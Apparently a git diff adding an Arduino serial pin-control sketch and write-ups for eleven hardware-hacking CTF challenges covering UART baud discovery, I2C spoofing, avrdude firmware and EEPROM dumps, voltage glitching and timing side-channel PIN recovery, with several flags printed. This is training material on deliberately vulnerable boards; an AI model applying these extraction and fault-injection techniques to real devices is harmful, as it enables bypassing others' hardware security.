+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
